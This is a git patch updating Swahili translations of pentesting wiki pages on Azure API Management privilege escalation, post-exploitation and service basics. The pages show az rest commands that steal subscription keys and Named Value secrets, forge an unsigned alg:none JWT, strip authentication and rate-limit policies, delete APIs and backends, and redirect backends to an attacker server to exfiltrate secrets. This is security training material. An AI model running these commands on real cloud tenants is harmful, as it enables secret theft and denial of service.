From 8bc08ab3ab2a6105be8eeb91783c6f400981d2a4 Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 26 Dec 2025 18:53:38 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/azure-security/az-services/az-api- --- .../az-api-management-post-exploitation.md | 12 ++--- .../az-api-management-privesc.md | 46 +++++++++---------- .../az-services/az-api-management.md | 36 +++++++-------- 3 files changed, 47 insertions(+), 47 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md index 4dc9821c3..d8440da4d 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md @@ -3,7 +3,7 @@ {{#include ../../../banners/hacktricks-training.md}} ## `Microsoft.ApiManagement/service/apis/policies/write` or `Microsoft.ApiManagement/service/policies/write` -Attacker anaweza kutumia multiple vectors kusababisha denial of service. Ili kuzuia legitimate traffic, attacker anaongeza rate-limiting na quota policies zenye thamani za chini mno, kwa ufanisi kuzuia normal access: +Mshambuliaji anaweza kutumia njia nyingi kusababisha denial of service. Ili kuzuia trafiki halali, mshambuliaji anaongeza rate-limiting na quota policies zenye thamani za chini sana, kwa ufanisi kuzuia ufikaji wa kawaida: ```bash az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01" \ @@ -27,8 +27,8 @@ az rest --method PUT \ } }' ``` -## `Microsoft.ApiManagement/service/backends/write` au `Microsoft.ApiManagement/service/backends/delete` -Kwa kusababisha maombi yafeli, mshambuliaji anaweza kubadilisha usanidi wa backend na kubadilisha URL yake kuwa anwani isiyo halali au isiyofikika: +## `Microsoft.ApiManagement/service/backends/write` or `Microsoft.ApiManagement/service/backends/delete` +Ili kusababisha requests kushindwa, attacker anaweza modify backend configuration na kubadilisha URL yake kuwa anwani isiyo halali au isiyofikika: ```bash az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ @@ -47,14 +47,14 @@ az rest --method DELETE \ --headers "If-Match=*" ``` ## `Microsoft.ApiManagement/service/apis/delete` -Ili kufanya APIs muhimu zisipatikane, mshambulizi anaweza kuzifuta moja kwa moja kutoka kwenye API Management service: +Ili kufanya APIs muhimu zisipatikane, mshambuliaji anaweza kuzifuta moja kwa moja kutoka kwenye API Management service: ```bash az rest --method DELETE \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis/?api-version=2024-05-01" \ --headers "If-Match=*" ``` ## `Microsoft.ApiManagement/service/write` or `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action` -Ili kuzuia ufikisho kutoka kwenye Internet, mshambuliaji anaweza kuzima ufikisho wa mtandao wa umma kwenye API Management service: +Ili kuzuia upatikanaji kutoka Internet, attacker anaweza kuzima public network access kwenye API Management service: ```bash az rest --method PATCH \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" \ @@ -66,7 +66,7 @@ az rest --method PATCH \ }' ``` ## `Microsoft.ApiManagement/service/subscriptions/delete` -Ili kuzuia upatikanaji kwa watumiaji halali, mshambuliaji anaweza kufuta API Management subscriptions: +Ili kuzuia ufikiaji kwa watumiaji halali, mshambuliaji anaweza kufuta API Management subscriptions: ```bash az rest --method DELETE \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//subscriptions/?api-version=2024-05-01" \ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md index 1050b1c73..c2ef879a2 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md @@ -4,31 +4,31 @@ ## `Microsoft.ApiManagement/service/namedValues/read` & `Microsoft.ApiManagement/service/namedValues/listValue/action` -Shambulio linahusisha kufikia sensitive secrets zilizohifadhiwa katika Azure API Management Named Values, ama kwa moja kwa moja kupata secret values au kwa kutumia vibaya permissions ili kupata Key Vault–backed secrets kupitia managed identities. +Shambulio linahusisha kupata siri nyeti zilizohifadhiwa katika Azure API Management Named Values, ama kwa kuzipata moja kwa moja au kwa kutumia vibaya ruhusa ili kupata siri zinazohifadhiwa katika Key Vault kupitia managed identities. ```bash az apim nv show-secret --resource-group --service-name --named-value-id ``` ## `Microsoft.ApiManagement/service/subscriptions/read` & `Microsoft.ApiManagement/service/subscriptions/listSecrets/action` -Kwa kila subscription, mshambuliaji anaweza kupata subscription keys kwa kutumia listSecrets endpoint kwa njia ya POST: +Kwa kila subscription, mshambuliaji anaweza kupata subscription keys kwa kutumia endpoint ya listSecrets kwa njia ya POST: ```bash az rest --method POST \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//subscriptions//listSecrets?api-version=2024-05-01" ``` -Jibu linajumuisha subscription primary key (primaryKey) na secondary key (secondaryKey). Kwa kutumia vifunguo hivi, mshambuliaji anaweza kuthibitisha utambulisho na kufikia APIs zilizochapishwa kupitia API Management Gateway: +Jibu linajumuisha subscription primary key (primaryKey) na secondary key (secondaryKey). Kwa kutumia funguo hizi, attacker anaweza kuthibitisha na kufikia APIs zilizochapishwa kupitia API Management Gateway: ```bash curl -H "Ocp-Apim-Subscription-Key: " \ https://.azure-api.net/ ``` -Mshambuliaji anaweza kufikia APIs zote na bidhaa zinazohusishwa na usajili. Ikiwa usajili una ufikiaji wa bidhaa au APIs nyeti, mshambuliaji anaweza kupata taarifa za siri au kufanya operesheni zisizoruhusiwa. +Mshambuliaji anaweza kufikia APIs zote na products zinazohusiana na subscription. Ikiwa subscription ina ufikiaji wa products au APIs nyeti, mshambuliaji anaweza kupata taarifa za siri au kufanya operesheni zisizoidhinishwa. ## `Microsoft.ApiManagement/service/policies/write` or `Microsoft.ApiManagement/service/apis/policies/write` -Kwanza, mshambuliaji anapata sera ya sasa ya API: +Mshambuliaji kwanza anapata API policy ya sasa: ```bash az rest --method GET \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/?api-version=2024-05-01&format=rawxml" ``` -Mshambuliaji anaweza kubadilisha sera kwa njia mbalimbali kulingana na malengo yake. Kwa mfano, ili kuzima authentication, ikiwa sera inajumuisha JWT token validation, mshambuliaji anaweza kuondoa au comment out sehemu hiyo: +Mvamizi anaweza kubadilisha sera kwa njia mbalimbali kulingana na malengo yao. Kwa mfano, ili kuzima uthibitishaji, ikiwa sera inajumuisha JWT token validation, mvamizi anaweza kuondoa au kuiweka sehemu hiyo kama maoni: ```xml @@ -49,7 +49,7 @@ Mshambuliaji anaweza kubadilisha sera kwa njia mbalimbali kulingana na malengo y ``` -Ili kuondoa udhibiti wa rate limiting na kuruhusu mashambulizi ya denial-of-service, mshambuliaji anaweza kuondoa au kuweka kama maoni sera za quota na rate-limit: +Ili kuondoa rate limiting controls na kuruhusu denial-of-service attacks, mshambuliaji anaweza kuondoa au kuweka katika maoni quota na rate-limit policies: ```xml @@ -61,7 +61,7 @@ Ili kuondoa udhibiti wa rate limiting na kuruhusu mashambulizi ya denial-of-serv ... ``` -Ili kubadilisha backend route na kuelekeza trafiki kwa server inayodhibitiwa na mshambuliaji: +Ili kubadilisha njia ya backend na kuelekeza trafiki kwa seva inayodhibitiwa na mshambuliaji: ```xml ... @@ -72,7 +72,7 @@ Ili kubadilisha backend route na kuelekeza trafiki kwa server inayodhibitiwa na ... ``` -Mshambuliaji kisha anatumia sera iliyohaririwa. Mwili wa ombi lazima uwe kitu cha JSON kinachojumuisha sera kwa muundo wa XML: +Mshambulizi kisha anatumia sera iliyorekebishwa. Mwili wa ombi lazima uwe JSON object unaojumuisha sera katika muundo wa XML: ```bash az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01" \ @@ -84,33 +84,33 @@ az rest --method PUT \ } }' ``` -## JWT Validation Misconfiguration +## Uwekaji vibaya wa Uthibitishaji wa JWT -Mshambuliaji anahitaji kujua kwamba API inatumia uhalali wa token za JWT na kwamba sera imepangwa vibaya. Sera za uhalali za JWT zilizopangwa vibaya zinaweza kuwa na `require-signed-tokens="false"` au `require-expiration-time="false"`, ambayo inaruhusu huduma kukubali token zisizosainiwa au token ambazo hazijaisha kamwe. +Mshambulizi anahitaji kujua kwamba API inatumia uthibitishaji wa JWT token na kwamba sera imewekwa vibaya. Sera za uthibitishaji za JWT zilizo konfigurishwa vibaya zinaweza kuwa na `require-signed-tokens="false"` au `require-expiration-time="false"`, ambayo inaruhusu huduma kukubali unsigned tokens au tokens ambazo hazina tarehe ya kumalizika. -Mshambuliaji huunda token ya JWT yenye madhara kwa kutumia none algorithm (unsigned): +Mshambulizi huunda JWT token yenye madhara kwa kutumia algorithm none (unsigned): ``` # Header: {"alg":"none"} # Payload: {"sub":"user"} eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0. ``` -Mshambuliaji anatuma ombi kwa API akitumia token hasidi: +Mshambulizi anatuma ombi kwa API akitumia token yenye madhara: ```bash curl -X GET \ -H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0." \ https://.azure-api.net/path ``` -Ikiwa sera imepangwa vibaya na `require-signed-tokens="false"`, huduma itakubali token isiyosainiwa. Mshambulizi pia anaweza kuunda token bila expiration claim ikiwa `require-expiration-time="false"`. +Ikiwa sera imewekwa vibaya na `require-signed-tokens="false"`, huduma itakubali token isiyosainiwa. Mshambuliaji pia anaweza kuunda token bila klaimu ya kumalizika ikiwa `require-expiration-time="false"`. ## `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action` -Mshambulizi kwanza anakagua usanidi wa mtandao wa sasa wa huduma: +Mshambuliaji kwanza anakagua usanidi wa mtandao wa huduma: ```bash az rest --method GET \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" ``` -Mshambuliaji anapitia jibu la JSON ili kuthibitisha thamani za `publicNetworkAccess` na `virtualNetworkType`. Ikiwa `publicNetworkAccess` imewekwa kuwa false au `virtualNetworkType` imewekwa kuwa Internal, huduma imewekwa kwa ufikiaji wa kibinafsi. +Mshambuliaji anapitia jibu la JSON ili kuthibitisha thamani za `publicNetworkAccess` na `virtualNetworkType`. Iwapo `publicNetworkAccess` imewekwa kuwa false au `virtualNetworkType` imewekwa kuwa Internal, huduma imewekwa kwa ufikiaji wa kibinafsi. -Ili kufunua huduma kwa Intaneti, mshambuliaji lazima abadilishe mipangilio yote miwili. Ikiwa huduma inaendesha katika mode ya ndani (`virtualNetworkType: "Internal"`), mshambuliaji anaiweka kuwa None au External na kuwezesha ufikiaji wa mtandao wa umma. Hii inaweza kufanywa kwa kutumia Azure Management API: +Ili kufungua huduma kwa Intaneti, mshambuliaji lazima abadilishe mipangilio yote miwili. Ikiwa huduma inaendeshwa katika hali ya ndani (`virtualNetworkType: "Internal"`), mshambuliaji anabadilisha kuwa None au External na kuwezesha `publicNetworkAccess`. Hii inaweza kufanywa kwa kutumia Azure Management API: ```bash az rest --method PATCH \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" \ @@ -122,20 +122,20 @@ az rest --method PATCH \ } }' ``` -Baada `virtualNetworkType` inapowekwa kuwa `None` au `External` na `publicNetworkAccess` ikiwa imewezeshwa, huduma na API zake zote zinaweza kupatikana kutoka kwenye Internet, hata kama hapo awali zililindwa nyuma ya mtandao wa kibinafsi au private endpoints. +Baada tu `virtualNetworkType` inapowekwa kuwa `None` au `External` na `publicNetworkAccess` ikiwashwa, huduma na APIs zake zote zinapatikana kutoka mtandao, hata kama awali zilikuwa zinalindwa nyuma ya mtandao wa kibinafsi au endpoints za kibinafsi. ## `Microsoft.ApiManagement/service/backends/write` -Mshambuliaji awali huorodhesha backends zilizopo ili kubaini ipi ya kubadilisha: +Mshambuliaji kwanza huorodhesha backends zilizopo ili kubaini ipi ya kubadilisha: ```bash az rest --method GET \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends?api-version=2024-05-01" ``` -Attacker anapata usanidi wa sasa wa backend anayotaka kuibadilisha: +Mshambuliaji anapata usanidi wa sasa wa backend wanayotaka kuubadilisha: ```bash az rest --method GET \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" ``` -Mshambuliaji anabadilisha backend URL ili kuielekeza kwenye server wanayodhibiti. Kwanza, wanapata ETag kutoka kwa jibu la awali na kisha wanaposasisha backend: +Mshambuliaji hubadilisha backend URL ili kuielekeza kwenye server chini ya udhibiti wao. Kwanza, wanapata ETag kutoka kwa response iliyopita, kisha wanasasisha backend: ```bash az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ @@ -148,7 +148,7 @@ az rest --method PUT \ } }' ``` -Vinginevyo, mshambuliaji anaweza kusanidi backend headers ili exfiltrate Named Values containing secrets. Hii inafanywa kupitia backend credentials configuration: +Kwa njia mbadala, mshambuliaji anaweza kusanidi backend headers ili exfiltrate Named Values zenye siri. Hii inafanywa kupitia backend credentials configuration: ```bash az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ @@ -165,6 +165,6 @@ az rest --method PUT \ } }' ``` -Kwa usanidi huu, Named Values zinatumwa kama headers katika maombi yote kwenda kwa attacker-controlled backend, kuruhusu exfiltration ya sensitive secrets. +Kwa usanidi huu, Named Values zinatumwa kama headers katika maombi yote kwa attacker-controlled backend, na hivyo kuwezesha exfiltration ya siri nyeti. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-api-management.md b/src/pentesting-cloud/azure-security/az-services/az-api-management.md index dc095d518..7257433ae 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-api-management.md +++ b/src/pentesting-cloud/azure-security/az-services/az-api-management.md @@ -2,43 +2,43 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Taarifa za Msingi -Azure API Management (APIM) ni huduma inayosimamiwa kikamilifu inayotoa **jukwaa lililounganishwa kwa kuchapisha, kulinda, kubadilisha, kusimamia, na kufuatilia APIs**. Inawawezesha mashirika **kuweka mkakati wao wa API katikati** na kuhakikisha utawala, utendaji, na usalama vinavyolingana kwa huduma zao zote. Kwa kutumika kama tabaka la utofauti kati ya huduma za backend na watumiaji wa API, APIM inarahisisha ujumuishaji na kuboresha utunzaji wa msimbo huku ikitoa uwezo muhimu wa uendeshaji na usalama. +Azure API Management (APIM) ni huduma inayosimamiwa kikamilifu inayotoa **jukwaa lililo umeunganishwa kwa kuchapisha, kulinda, kubadilisha, kusimamia, na kufuatilia API**. Inawawezesha mashirika **kuzuia mkakati wao wa API** na kuhakikisha udhibiti, utendaji, na usalama wa kawaida kwa huduma zao zote. Kwa kufanya kazi kama safu ya utoaji kati ya huduma za backend na watumiaji wa API, APIM inarahisisha ujumuishaji na kuboresha uendeshaji wakati ikitoa uwezo muhimu wa kiutendaji na usalama. -## Core Concepts +## Dhana za Msingi -**The API Gateway** inatumika kama mlango mmoja wa kuingia kwa trafiki yote ya API, ikiendesha kazi kama kusambaza maombi kwa huduma za backend, kutekeleza mipaka ya rate limits, kuhifadhi majibu (caching), na kusimamia authentication na authorization. Gateway hii inahostiwa na kusimamiwa kikamilifu na Azure, ikiweka uhakika wa upatikana mkubwa na scalability. +**The API Gateway** inafanya kama mlango wa kuingilia moja kwa trafiki yote ya API, ikiendesha kazi kama kupeleka maombi kwa huduma za backend, kutekeleza viwango vya kasi (rate limits), kuhifadhi majibu kwa cache, na kusimamia uthibitishaji na idhini. Gateway hii inahostiwa na kusimamiwa kikamilifu na Azure, ikihakikisha upatikanaji mkubwa na uwezo wa kupanuka. -**The Developer Portal** hutoa mazingira ya kujihudumia ambapo watumiaji wa API wanaweza kugundua APIs zilizopo, kusoma nyaraka, na kujaribu endpoints. Inasaidia kurahisisha onboarding kwa kutoa zana za mwingiliano na upatikanaji wa taarifa za subscription. +**The Developer Portal** inatoa mazingira ya self-service ambapo watumiaji wa API wanaweza kupata API zilizopo, kusoma nyaraka, na kujaribu endpoints. Inasaidia kurahisisha kuiingiza kwa watumiaji kwa kutoa zana za mwingiliano na upatikanaji wa taarifa za usajili. -**The Management Portal (Management Plane)** inatumiwa na wasimamizi kusanidi na kuendeleza huduma ya APIM. Kutoka hapa, watumiaji wanaweza kufafanua APIs na operations, kusanidi access control, kutumia policies, kusimamia watumiaji, na kupanga APIs katika products. Portal hii inajumuisha utawala na kuhakikisha udhibiti wa API uliofanana. +**The Management Portal (Management Plane)** hutumika na watumiaji wa mfumo kusanidi na kudumisha huduma ya APIM. Kutoka hapa, watumiaji wanaweza kufafanua APIs na operations, kusanidi udhibiti wa upatikanaji, kutumia sera (policies), kusimamia watumiaji, na kupanga APIs ndani ya products. Portal hii inasawazisha utawala na kuhakikisha udhibiti wa API unaoendelea. -## Authentication and Authorization +## Uthibitishaji na Idhini -Azure API Management inaunga mkono mbinu kadhaa za **authentication** ili kulinda upatikanaji wa API. Hizi ni pamoja na **subscription keys**, **OAuth 2.0 tokens**, na **client certificates**. APIM pia inaunganishwa asili na **Microsoft Entra ID**, ikiwaruhusu usimamizi wa utambulisho wa ngazi ya kampuni na upatikanaji salama kwa APIs na huduma za backend. +Azure API Management inaunga mkono mekanisimu kadhaa za **uthibitishaji** ili kulinda upatikanaji wa API. Hizi ni pamoja na **subscription keys**, **OAuth 2.0 tokens**, na **client certificates**. APIM pia ina muingiliano asilia na **Microsoft Entra ID**, ikiruhusu **usimamizi wa utambulisho wa ngazi ya shirika** na **upatikanaji salama** kwa APIs na huduma za backend. -## Policies +## Sera -Sera (Policies) katika APIM zinamruhusu msimamizi kubinafsisha **utekelezaji wa maombi na majibu** kwa ngazi mbalimbali, ikijumuisha ngazi ya **service**, **API**, **operation**, au **product**. Kupitia policies, inawezekana kutekeleza **JWT token validation**, **kubadilisha payloads za XML au JSON**, **kutoa rate limiting**, **kuzuia miito kwa anwani za IP**, au **kuthibitisha dhidi ya backend services kutumia managed identities**. Policies ni **zilisambazwa kwa njia iliyofaa** na ni mojawapo ya **nguvu kuu** za jukwaa la API Management, zikiwezesha **udhibiti wa kina wa tabia za runtime** bila kuharibu backend code. +Sera ndani ya APIM zinawawezesha wasimamizi kubinafsisha **kuendesha ombi na majibu** katika viwango tofauti, ikijumuisha ngazi ya **service**, **API**, **operation**, au **product**. Kupitia sera, inawezekana kutekeleza **uthibitishaji wa JWT token**, **kubadilisha payloads za XML au JSON**, **kutumia rate limiting**, **kuzuia simu kwa anwani za IP**, au **kuthibitisha dhidi ya huduma za backend kutumia managed identities**. Sera ni **zina ufanisi mkubwa** na ni mojawapo ya **nguvu kuu** za jukwaa la API Management, zikiruhusu **udhibiti wa kina wa tabia ya runtime** bila kubadilisha code ya backend. ## Named Values -Huduma inatoa utaratibu uitwao **Named Values**, ambao unaruhusu kuhifadhi **taarifa za kusanidi** kama **secrets**, **API keys**, au thamani nyingine zinazohitajika na policies. +Huduma hutoa utaratibu unaoitwa **Named Values**, unaoruhusu kuhifadhi **taarifa za usanidi** kama **secrets**, **API keys**, au thamani nyingine zinazohitajika na sera. -Thamani hizi zinaweza kuhifadhiwa moja kwa moja ndani ya APIM au kurejelewa kwa usalama kutoka kwa **Azure Key Vault**. Named Values zinakuza **usimamizi salama na uliolengwa wa data za kusanidi** na kurahisisha uandishi wa policies kwa kuruhusu **marejeleo yanayoweza kutumika tena** badala ya thamani zilizo hardcoded. +Thamani hizi zinaweza kuhifadhiwa moja kwa moja ndani ya APIM au kurejeledwa kwa usalama kutoka kwa **Azure Key Vault**. Named Values zinakuza **usimamizi salama na uliobadilishwa katikati** wa data za usanidi na kurahisisha uandishi wa sera kwa kuruhusu **marejeleo yanayoweza kutumika tena** badala ya thamani zilizowekwa kwa waya. -## Networking and Security Integration +## Mitandao na Uunganishaji wa Usalama -Azure API Management inaunganishwa kwa ufanisi na **virtual network environments**, ikiwezesha **muunganisho wa kibinafsi na salama** kwa mifumo ya backend. +Azure API Management inaingiliana kwa urahisi na mazingira ya **virtual network**, ikiruhusu **unganisho wa kibinafsi na salama** kwa mifumo ya backend. -Itakapowekwa ndani ya **Virtual Network (VNet)**, APIM inaweza kufikia **huduma za ndani** bila kuziweka hadharani. Huduma pia inaruhusu usanidi wa **custom certificates** ili kuunga mkono **mutual TLS authentication** na backend services, kuboresha usalama katika matukio yanayohitaji **uthibitishaji thabiti wa utambulisho**. +Ikitolewa ndani ya **Virtual Network (VNet)**, APIM inaweza kufikia **huduma za ndani** bila kuzijulisha hadharani. Huduma pia inaruhusu usanidi wa **custom certificates** ili kuunga mkono uthibitishaji wa **mutual TLS** na huduma za backend, kuboresha usalama katika matukio ambapo **uthibitisho thabiti wa utambulisho** unahitajika. -Sifa hizi za **mtandao** zinafanya APIM iwefaa kwa miundo ya **cloud-native** na **hybrid architectures**. +Vipengele hivi vya **mitandao** vinafanya APIM kuwa inayofaa kwa **cloud-native** na **hybrid architectures**. -### Enumerate +### Orodhesha -Ili kuchunguza huduma ya API management: +Ili orodha huduma ya API management: ```bash # Lists all Named Values configured in the Azure API Management instance az apim nv list --resource-group --service-name